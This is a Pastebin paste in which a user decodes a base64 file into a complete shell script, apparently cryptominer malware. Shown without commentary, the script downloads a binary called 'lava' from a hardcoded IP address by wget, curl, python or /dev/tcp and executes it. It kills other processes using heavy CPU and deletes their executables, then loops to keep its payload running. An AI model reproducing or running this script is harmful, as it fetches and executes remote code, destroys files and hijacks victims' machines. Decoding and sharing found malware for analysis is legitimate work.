Advertisement
doranchak

Untitled

Jan 10th, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.09 KB | None | 0 0
  1. Davids-MacBook-Pro:~ doranchak$ base64 -D shit
  2. #!/bin/sh
  3.  
  4. sPid=$$
  5. mPid=''
  6. mName='lava'
  7. dlUrl='45.77.239.7'
  8.  
  9. checkCmd() {
  10. command -v $1 >/dev/null 2>&1
  11. }
  12.  
  13. downloader () {
  14. if checkCmd wget; then
  15. wget $1 -O $2
  16. elif checkCmd curl; then
  17. curl $1 -o $2
  18. elif checkCmd python; then
  19. if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
  20. python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
  21. else
  22. python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
  23. fi
  24. else
  25. cat < /dev/tcp/$dlUrl/5555 > $2
  26. fi
  27. chmod +x $2
  28. }
  29.  
  30. killer() {
  31. for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
  32. if [ $tmpVar = $sPid ]; then
  33. continue
  34. fi
  35. if [ $tmpVar = $mPid ]; then
  36. continue
  37. fi
  38. if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
  39. if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then
  40. continue
  41. fi
  42. if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then
  43. continue
  44. fi
  45. if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then
  46. continue
  47. fi
  48. kill -9 $tmpVar
  49. rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
  50. fi
  51. done
  52. }
  53.  
  54. runer() {
  55. if [ -z "$mPid" ]; then
  56. if [ ! -f $mName ]; then
  57. downloader http://$dlUrl/java $mName
  58. fi
  59. chmod +x ./$mName
  60. ./$mName
  61. fi
  62. mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
  63. }
  64.  
  65. pkill python; pkill perl; pkill $mName
  66. downloader http://$dlUrl/java $mName
  67. runer
  68. killer
  69. while true; do
  70. sleep 10
  71. if ps -p $mPid > /dev/null; then
  72. killer
  73. else
  74. mPid=''
  75. runer
  76. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement